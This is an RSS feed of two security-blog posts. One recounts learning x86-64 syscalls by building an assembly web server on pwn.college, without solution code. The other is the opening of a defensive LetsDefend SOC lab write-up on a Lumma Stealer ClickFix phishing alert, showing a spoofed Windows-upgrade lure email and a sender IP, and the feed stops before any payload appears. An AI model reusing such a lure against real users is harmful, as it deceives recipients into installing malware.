<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Security Forem: Hitanshu Gedam</title>
    <description>The latest articles on Security Forem by Hitanshu Gedam (@hitanshugedam).</description>
    <link>https://zeroday.forem.com/hitanshugedam</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3499351%2F816476e9-9f46-443b-a4c9-8adb4342ffbb.jpeg</url>
      <title>Security Forem: Hitanshu Gedam</title>
      <link>https://zeroday.forem.com/hitanshugedam</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://zeroday.forem.com/feed/hitanshugedam"/>
    <language>en</language>
    <item>
      <title>How I Learned Syscalls by Building a Web Server on pwn.college</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Sat, 16 May 2026 14:43:55 +0000</pubDate>
      <link>https://zeroday.forem.com/hitanshugedam/how-i-learned-syscalls-by-building-a-web-server-on-pwncollege-2p8m</link>
      <guid>https://zeroday.forem.com/hitanshugedam/how-i-learned-syscalls-by-building-a-web-server-on-pwncollege-2p8m</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Web Server
&lt;/h3&gt;

&lt;p&gt;No full solutions here. Just the journey, the lessons, and the honest truth.&lt;/p&gt;

&lt;h3&gt;
  
  
  A Note on Learning (and Honesty)
&lt;/h3&gt;

&lt;p&gt;Before I go any further: I'm not going to paste my solutions in this post.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://pwn.college" rel="noopener noreferrer"&gt;pwn.college&lt;/a&gt; is a learning platform. The challenges are meant to be solved, not copied. If I just dumped my assembly code here, I'd be robbing someone else of the chance to struggle, fail, debug, and eventually feel that incredible rush when the checker program finally says PASS.&lt;/p&gt;

&lt;p&gt;Also, I want to be completely transparent. Out of the 11 challenges in this module, there were &lt;strong&gt;fewer than 5&lt;/strong&gt; where I got so stuck that I reached for help from an AI. Not to generate full solutions, but to explain a syscall I didn't understand, or to help me reason through why something was failing. I still wrote every line of assembly myself. And every time I got help, I made sure I understood why the fix worked before moving on.&lt;/p&gt;

&lt;p&gt;The rest, the majority, I solved on my own, using &lt;code&gt;strace&lt;/code&gt;, &lt;code&gt;gdb&lt;/code&gt;, the man pages, and a lot of trial and error.&lt;/p&gt;

&lt;p&gt;Why am I telling you this? Because pretending I never needed help would be a lie. Getting stuck is normal. Asking for help, as long as you actually learn from it, is part of the process too. The goal isn't to be "pure." The goal is to understand.&lt;/p&gt;

&lt;p&gt;And I understand this material now. That's what matters.&lt;/p&gt;

&lt;p&gt;So instead of giving you code, I'm going to tell you what I learned. The concepts. The syscalls. The mistakes. The "aha!" moments. If you're working through the same dojo, this post will point you in the right direction, but you'll still have to do the work yourself.&lt;/p&gt;

&lt;h3&gt;
  
  
  Before the Web Server
&lt;/h3&gt;

&lt;p&gt;Before I ever wrote a single line of HTTP response in assembly, I had to learn how computers actually work.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://pwn.college" rel="noopener noreferrer"&gt;pwn.college&lt;/a&gt;'s Computing 101 dojo isn't gentle. It throws you into the deep end and expects you to swim. Before reaching the "Building a Web Server" module, I completed eight modules in order:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Your First Program&lt;/strong&gt; (5 challenges), How to make a program exit. Syscall 60, if you're counting.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Computer Memory&lt;/strong&gt; (7 challenges), Pointers are just numbers. Memory is just bytes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Stack&lt;/strong&gt; (4 challenges), Push, pop, call, ret, how functions really work.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Software Introspection&lt;/strong&gt; (12 challenges), &lt;code&gt;strace&lt;/code&gt;, &lt;code&gt;ltrace&lt;/code&gt;, &lt;code&gt;gdb&lt;/code&gt;, watching programs from the outside.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Output and Input&lt;/strong&gt; (6 challenges), &lt;code&gt;read&lt;/code&gt; and &lt;code&gt;write&lt;/code&gt; are all you need.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Control Flow&lt;/strong&gt; (7 challenges), Jumps, compares, loops, the logic of everything.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Assembly Assortment&lt;/strong&gt; (4 challenges), Bitwise ops, shifts, condition codes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Assembly Crash Course&lt;/strong&gt; (30 challenges), Pure x86-64 assembly. 30 of them.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Total before the web server: 75 assembly programs.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;By the time I reached "Building a Web Server," I had stared at register values until my eyes hurt. I had learned that &lt;code&gt;mov&lt;/code&gt; is not a copy, it's a transfer. I had earned the right to be confused, stuck, and then unstuck.&lt;/p&gt;

&lt;p&gt;So when I started the web server module, I wasn't starting from zero. I was starting from "I understand the stack, I understand syscalls, I understand that nothing is handed to me."&lt;/p&gt;

&lt;p&gt;And I still spent a lot of time on it.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Web Server Module: 11 Challenges
&lt;/h3&gt;

&lt;p&gt;Here's the journey, what each challenge taught me, without giving away the actual code.&lt;/p&gt;

&lt;h4&gt;
  
  
  Challenge 1: Exit
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;What I had to do:&lt;/strong&gt; Write a program that calls the &lt;code&gt;exit&lt;/code&gt; syscall with status 0.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I learned:&lt;/strong&gt; Every program needs an exit. The kernel doesn't know you're done unless you tell it. The syscall convention on x86-64 Linux is: syscall number in &lt;code&gt;rax&lt;/code&gt;, first argument in &lt;code&gt;rdi&lt;/code&gt;, then &lt;code&gt;syscall&lt;/code&gt;. That's the foundation everything else builds on.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where I got stuck:&lt;/strong&gt; Nowhere on this one. It's the warm-up.&lt;/p&gt;

&lt;h4&gt;
  
  
  Challenge 2: Socket
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;What I had to do:&lt;/strong&gt; Create a TCP socket for IPv4.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I learned:&lt;/strong&gt; You can't just write &lt;code&gt;AF_INET&lt;/code&gt; and &lt;code&gt;SOCK_STREAM&lt;/code&gt; in assembly, those are C macros. You have to find the actual integer values. I learned to &lt;code&gt;grep&lt;/code&gt; through &lt;code&gt;/usr/include&lt;/code&gt; to find them. Turns out &lt;code&gt;AF_INET&lt;/code&gt; is 2 and &lt;code&gt;SOCK_STREAM&lt;/code&gt; is 1. The &lt;code&gt;socket&lt;/code&gt; syscall returns a file descriptor that you'll use for everything else.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where I got stuck:&lt;/strong&gt; Nothing major. But it made me appreciate what C preprocessors actually do.&lt;/p&gt;

&lt;h4&gt;
  
  
  Challenge 3: Bind
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;What I had to do:&lt;/strong&gt; Attach my socket to port 80 so clients could find it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I learned:&lt;/strong&gt; &lt;code&gt;bind&lt;/code&gt; takes a pointer to a &lt;code&gt;sockaddr_in&lt;/code&gt; structure, 16 bytes of raw memory that you have to construct yourself. I learned what each field means: address family (2 bytes), port (2 bytes in network byte order, big-endian), IP address (4 bytes), and padding (8 bytes). Endianness matters: port 80 (&lt;code&gt;0x0050&lt;/code&gt;) becomes &lt;code&gt;0x5000&lt;/code&gt; when stored in memory.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where I got stuck:&lt;/strong&gt; This was my first real wall. I kept getting &lt;code&gt;bind&lt;/code&gt; failures because I had the port byte order wrong. &lt;code&gt;strace&lt;/code&gt; and the &lt;code&gt;bind&lt;/code&gt; man page eventually saved me.&lt;/p&gt;

&lt;h4&gt;
  
  
  Challenge 4: Listen
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;What I had to do:&lt;/strong&gt; Turn my bound socket into a passive listener.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I learned:&lt;/strong&gt; A socket created with &lt;code&gt;socket()&lt;/code&gt; is "active", it expects to initiate connections. &lt;code&gt;listen()&lt;/code&gt; makes it "passive" so it can receive incoming connections. The backlog parameter tells the kernel how many pending connections to queue.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where I got stuck:&lt;/strong&gt; I initially forgot that &lt;code&gt;listen&lt;/code&gt; needs to be called after &lt;code&gt;bind&lt;/code&gt; but before &lt;code&gt;accept&lt;/code&gt;. My program hung forever until I looked up the correct order.&lt;/p&gt;

&lt;h4&gt;
  
  
  Challenge 5: Accept
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;What I had to do:&lt;/strong&gt; Wait for a client to connect and get a new file descriptor for that client.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I learned:&lt;/strong&gt; &lt;code&gt;accept&lt;/code&gt; blocks, it puts your program to sleep until someone connects. That's actually good, the kernel handles the waiting efficiently. When a client connects, &lt;code&gt;accept&lt;/code&gt; returns a new file descriptor just for talking to that client. The original listening socket stays open for more connections.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where I got stuck:&lt;/strong&gt; I accidentally overwrote my listening socket fd with the client fd and lost the ability to accept more connections. Had to carefully separate my register usage.&lt;/p&gt;

&lt;h4&gt;
  
  
  Challenge 6: Static Response
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;What I had to do:&lt;/strong&gt; Send a fixed HTTP response ("HTTP/1.0 200 OK\r\n\r\n") to any client that connects.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I learned:&lt;/strong&gt; This is where assembly stops being abstract. You can't just write &lt;code&gt;printf(...)&lt;/code&gt;. You have to put those bytes in memory yourself, one byte at a time. I also learned that HTTP uses &lt;code&gt;\r\n&lt;/code&gt; for line endings, and a blank line (&lt;code&gt;\r\n\r\n&lt;/code&gt;) separates headers from body.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where I got stuck:&lt;/strong&gt; Counting bytes. I miscounted the response length and the checker failed me because the response was truncated. Staring at hex dumps fixed it.&lt;/p&gt;

&lt;h4&gt;
  
  
  Challenge 7: Dynamic Response
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;What I had to do:&lt;/strong&gt; Parse the GET request, extract the file path, open that file, read its contents, and send them back.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I learned:&lt;/strong&gt; Parsing HTTP manually means scanning byte by byte. Find the space after "GET", find the next space after the path, null-terminate the path string. Then &lt;code&gt;open&lt;/code&gt; with &lt;code&gt;O_RDONLY&lt;/code&gt;, &lt;code&gt;read&lt;/code&gt; the file into a buffer, and &lt;code&gt;write&lt;/code&gt; the header plus file contents.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where I got stuck:&lt;/strong&gt; Off-by-one errors in finding the spaces. Also forgot to null-terminate the path string at first, so &lt;code&gt;open&lt;/code&gt; was getting garbage after the filename.&lt;/p&gt;

&lt;h4&gt;
  
  
  Challenge 8: Iterative GET Server
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;What I had to do:&lt;/strong&gt; Keep the server running after one request, handling multiple clients sequentially.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I learned:&lt;/strong&gt; One infinite loop. After handling a client and closing its fd, just jump back to &lt;code&gt;accept&lt;/code&gt;. The server stays alive forever. This is called an iterative server, one client at a time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where I got stuck:&lt;/strong&gt; I forgot to close the client fd at the end of the loop. File descriptors leaked and eventually the server couldn't accept new connections.&lt;/p&gt;

&lt;h4&gt;
  
  
  Challenge 9: Concurrent GET Server
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;What I had to do:&lt;/strong&gt; Handle multiple clients at the same time using &lt;code&gt;fork()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I learned:&lt;/strong&gt; &lt;code&gt;fork()&lt;/code&gt; creates an exact copy of the running process. The parent gets the child's PID; the child gets 0. Parent closes the client fd and goes back to &lt;code&gt;accept&lt;/code&gt;. Child closes the listening socket and handles the request. Classic Unix pattern: parent listens, child handles.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where I got stuck:&lt;/strong&gt; Figuring out which process closes which file descriptor. Parent should never touch the request. Child should never call &lt;code&gt;accept&lt;/code&gt;. Getting this separation right took a few tries.&lt;/p&gt;

&lt;h4&gt;
  
  
  Challenge 10: Concurrent POST Server
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;What I had to do:&lt;/strong&gt; Handle POST requests by extracting the body and writing it to a file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I learned:&lt;/strong&gt; POST requests have a body after the headers. To find it, scan for &lt;code&gt;\r\n\r\n&lt;/code&gt;, the blank line that separates headers from body. Calculate body length = total bytes read minus header size. Open the file with &lt;code&gt;O_WRONLY | O_CREAT&lt;/code&gt; (flags 1 and 64 combined = 65) and &lt;code&gt;write&lt;/code&gt; the body bytes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where I got stuck:&lt;/strong&gt; This was the hardest challenge. The body parsing logic was tricky, scanning for four bytes in a row. I also kept miscalculating the body length. And there was a specific requirement from the checker about closing (or not closing) the client socket that took me a while to discover.&lt;/p&gt;

&lt;h4&gt;
  
  
  Challenge 11: Web Server
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;What I had to do:&lt;/strong&gt; Combine GET and POST into a single concurrent server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I learned:&lt;/strong&gt; Check the first byte of the request: &lt;code&gt;'G'&lt;/code&gt; means GET, &lt;code&gt;'P'&lt;/code&gt; means POST. Branch to the right handler. Both send &lt;code&gt;200 OK&lt;/code&gt; when done. Both run inside &lt;code&gt;fork()&lt;/code&gt;. I moved the &lt;code&gt;200 OK&lt;/code&gt; response to the &lt;code&gt;.rodata&lt;/code&gt; section so I wasn't rebuilding it every time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where I got stuck:&lt;/strong&gt; Making sure the parent and child didn't step on each other. Clear separation of responsibilities was the key. By this point, I had enough confidence from the previous 10 challenges to put it all together myself.&lt;/p&gt;

&lt;h3&gt;
  
  
  After the Web Server: Debugging Refresher
&lt;/h3&gt;

&lt;p&gt;After building the web server, I completed Debugging Refresher (8 challenges). This module taught me how to properly inspect what I had built:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;strace&lt;/code&gt; to trace every syscall my server made to the kernel. Incredibly useful for seeing exactly where something failed.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;gdb&lt;/code&gt; for breakpoints, stepping through instructions, inspecting registers and memory.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ltrace&lt;/code&gt; for library calls (though my server made none, pure syscalls only).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Without debugging skills, assembly is blind. With them, you can see everything.&lt;/p&gt;

&lt;h3&gt;
  
  
  What I Actually Learned
&lt;/h3&gt;

&lt;h4&gt;
  
  
  The most important lesson
&lt;/h4&gt;

&lt;p&gt;I spent a lot of time on these challenges. I don't remember every instruction I wrote. But I remember this: &lt;strong&gt;I can figure things out and make them work.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's not arrogance. That's earned confidence. Before &lt;a href="https://pwn.college" rel="noopener noreferrer"&gt;pwn.college&lt;/a&gt;, I wasn't sure I could write anything meaningful in assembly. Now I know I can build a concurrent web server from scratch, no &lt;code&gt;libc&lt;/code&gt;, no runtime, just me and the kernel.&lt;/p&gt;

&lt;p&gt;Once you've done that, everything else feels possible.&lt;/p&gt;

&lt;h4&gt;
  
  
  What the previous modules gave me
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Syscall convention: number in &lt;code&gt;rax&lt;/code&gt;, arguments in &lt;code&gt;rdi&lt;/code&gt;, &lt;code&gt;rsi&lt;/code&gt;, &lt;code&gt;rdx&lt;/code&gt;, then &lt;code&gt;r10&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt;, &lt;code&gt;r9&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Stack discipline: &lt;code&gt;sub rsp, N&lt;/code&gt; to allocate, &lt;code&gt;add rsp, N&lt;/code&gt; to deallocate&lt;/li&gt;
&lt;li&gt;Register preservation: &lt;code&gt;rbx&lt;/code&gt;, &lt;code&gt;r12&lt;/code&gt;-&lt;code&gt;r15&lt;/code&gt; survive function calls&lt;/li&gt;
&lt;li&gt;Debugging: &lt;code&gt;gdb&lt;/code&gt; and &lt;code&gt;strace&lt;/code&gt; are your eyes into a running program&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  What the web server module taught me
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Socket syscalls create network endpoints&lt;/li&gt;
&lt;li&gt;HTTP is just text over TCP, parsed byte by byte&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;fork()&lt;/code&gt; is concurrency, simple, reliable, and ancient&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;\r\n\r\n&lt;/code&gt; is the most important 4-byte sequence in HTTP&lt;/li&gt;
&lt;li&gt;File descriptors are just integers, and they get copied on &lt;code&gt;fork()&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Nothing is handed to you, but everything is possible&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  On getting help (the honest version)
&lt;/h4&gt;

&lt;p&gt;Using AI on a few challenges didn't give me the answers, it gave me direction. I still wrote the code. I still understood why it worked. And I made sure I could explain the solution in my own words before moving on.&lt;/p&gt;

&lt;p&gt;I think that's the right way to use AI in learning: as a tutor, not a crutch. Ask it to explain a concept, not to write the code for you. The difference matters.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Full Journey (94 Challenges)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Before the web server (75 challenges):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your First Program (5)&lt;/li&gt;
&lt;li&gt;Computer Memory (7)&lt;/li&gt;
&lt;li&gt;The Stack (4)&lt;/li&gt;
&lt;li&gt;Software Introspection (12)&lt;/li&gt;
&lt;li&gt;Output and Input (6)&lt;/li&gt;
&lt;li&gt;Control Flow (7)&lt;/li&gt;
&lt;li&gt;Assembly Assortment (4)&lt;/li&gt;
&lt;li&gt;Assembly Crash Course (30)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The web server (11 challenges):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Exit → &lt;code&gt;exit&lt;/code&gt; syscall&lt;/li&gt;
&lt;li&gt;Socket → &lt;code&gt;socket&lt;/code&gt; syscall, finding AF_INET and SOCK_STREAM&lt;/li&gt;
&lt;li&gt;Bind → &lt;code&gt;bind&lt;/code&gt; syscall, manual &lt;code&gt;sockaddr_in&lt;/code&gt;, endianness&lt;/li&gt;
&lt;li&gt;Listen → &lt;code&gt;listen&lt;/code&gt; syscall&lt;/li&gt;
&lt;li&gt;Accept → &lt;code&gt;accept&lt;/code&gt; syscall&lt;/li&gt;
&lt;li&gt;Static Response → hardcoded &lt;code&gt;write&lt;/code&gt;, byte-by-byte strings&lt;/li&gt;
&lt;li&gt;Dynamic Response → &lt;code&gt;open&lt;/code&gt;, &lt;code&gt;read&lt;/code&gt;, file serving&lt;/li&gt;
&lt;li&gt;Iterative GET Server → infinite loop&lt;/li&gt;
&lt;li&gt;Concurrent GET Server → &lt;code&gt;fork&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Concurrent POST Server → body parsing, &lt;code&gt;open&lt;/code&gt; with O_CREAT&lt;/li&gt;
&lt;li&gt;Web Server → GET + POST + concurrency&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;After the web server (8 challenges):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Debugging Refresher (8)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Total: 94 challenges.&lt;/strong&gt; One dojo. One working web server in assembly.&lt;/p&gt;

&lt;h3&gt;
  
  
  If You Build Systems That Actually Matter
&lt;/h3&gt;

&lt;p&gt;I don't know who's reading this. But if you work on operating systems, embedded devices, aerospace or defense software, cybersecurity tooling, or anything where "it just works" isn't good enough, you need "I understand exactly why it works", then you know why this matters.&lt;/p&gt;

&lt;p&gt;I built this because I wanted to understand. Now I do.&lt;/p&gt;

&lt;h3&gt;
  
  
  Try It Yourself
&lt;/h3&gt;

&lt;p&gt;The Computing 101 dojo is free on &lt;a href="https://pwn.college" rel="noopener noreferrer"&gt;pwn.college&lt;/a&gt;. Start with "Your First Program." See how far you get.&lt;/p&gt;

&lt;p&gt;If you get stuck, and you will, don't look for full solutions. Use &lt;code&gt;strace&lt;/code&gt;. Use &lt;code&gt;gdb&lt;/code&gt;. Read the man pages. Figure it out. That's where the learning happens.&lt;/p&gt;

&lt;p&gt;And if you're truly stuck after genuinely trying? Ask for help, but make sure you learn from it. That's what I did.&lt;/p&gt;

&lt;h3&gt;
  
  
  Acknowledgments
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://pwn.college" rel="noopener noreferrer"&gt;pwn.college&lt;/a&gt; and Arizona State University for building this. The checker program for never lying to me. The 75 assembly programs before this one that made it possible. And the AI tutor I asked for help on fewer than 5 challenges, not for answers, but for explanations that unblocked me.&lt;/p&gt;

&lt;h3&gt;
  
  
  Some resources they recommend:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=iyAyN3GFM7A&amp;amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;amp;index=1" rel="noopener noreferrer"&gt;LiveOverFlow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ike.mahaloz.re/1_introduction/introduction.html" rel="noopener noreferrer"&gt;Ike: The Systems Hacking Handbook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/mytechnotalent/Reverse-Engineering-Tutorial" rel="noopener noreferrer"&gt;Reverse Engieering tutorial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ost2.fyi/Arch1001" rel="noopener noreferrer"&gt;Architecture 1001 - OpenSecurity2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://open.umn.edu/opentextbooks/textbooks/733" rel="noopener noreferrer"&gt;x86-64 book&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;A &lt;a href="https://squallygame.com/" rel="noopener noreferrer"&gt;game&lt;/a&gt; to teach you x86 assembly and one to &lt;a href="https://oooverflow.io/zero-is-you/" rel="noopener noreferrer"&gt;stress test your knowledge&lt;/a&gt;!&lt;/li&gt;
&lt;li&gt;A &lt;a href="https://soc.me/interfaces/x86-prefixes-and-escape-opcodes-flowchart" rel="noopener noreferrer"&gt;flowchart&lt;/a&gt; of x86 prefix and escape opcodes.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.felixcloutier.com/x86/" rel="noopener noreferrer"&gt;Detailed x86 reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;I built this because I wanted to understand. Now I do.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;VENI. VIDI. VICI.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;AD MELIORA!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Here's my &lt;a href="https://www.linkedin.com/in/hitanshu-gedam/" rel="noopener noreferrer"&gt;LinkedIN&lt;/a&gt; if you wanna connect!&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>networksec</category>
      <category>server</category>
      <category>discuss</category>
    </item>
    <item>
      <title>LetsDefend SOC338 - Lumma Stealer - DLL Side-Loading via Click Fix Phishing</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Mon, 27 Apr 2026 18:01:11 +0000</pubDate>
      <link>https://zeroday.forem.com/hitanshugedam/letsdefend-soc338-lumma-stealer-dll-side-loading-via-click-fix-phishing-p8l</link>
      <guid>https://zeroday.forem.com/hitanshugedam/letsdefend-soc338-lumma-stealer-dll-side-loading-via-click-fix-phishing-p8l</guid>
      <description>&lt;p&gt;This time we are investigating another CRITICAL level alert.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjazo4iuxgr3kyf62a5nv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjazo4iuxgr3kyf62a5nv.png" alt="takeownership" width="800" height="230"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We start with taking ownership of the alert and then head to the Investigation Channel and create a case.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd1szw9z49zu9tezrycv3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd1szw9z49zu9tezrycv3.png" alt="createdcase" width="712" height="526"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's start the playbook:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2433w2g0kq8qz5mnqgzc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2433w2g0kq8qz5mnqgzc.png" alt="playbok1" width="800" height="198"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We start with our instruction to parse email&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9k4u3pgry2t16u33pd0i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9k4u3pgry2t16u33pd0i.png" alt="parseemail" width="800" height="430"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight email"&gt;&lt;code&gt;&lt;span class="nt"&gt;From&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; update@windows-update[.]site&lt;/span&gt;
&lt;span class="nt"&gt;To&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; dylan[@]letsdefend.io&lt;/span&gt;
&lt;span class="nt"&gt;Subject&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Upgrade your system to Windows 11 Pro for FREE&lt;/span&gt;
&lt;span class="nt"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Mar, 13, 2025, 09:44 AM&lt;/span&gt;
&lt;span class="nt"&gt;Action&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Allowed&lt;/span&gt;
&lt;span class="nt"&gt;SMTP Address&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; 132.232.40.201&lt;/span&gt;
&lt;span class="nt"&gt;Attachment&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; No files, but there are URLs present.&lt;/span&gt;
&lt;span class="nt"&gt;Suspicious&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Yes, because there were multiple 'Update Now' buttons, indicating a phishing attempt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



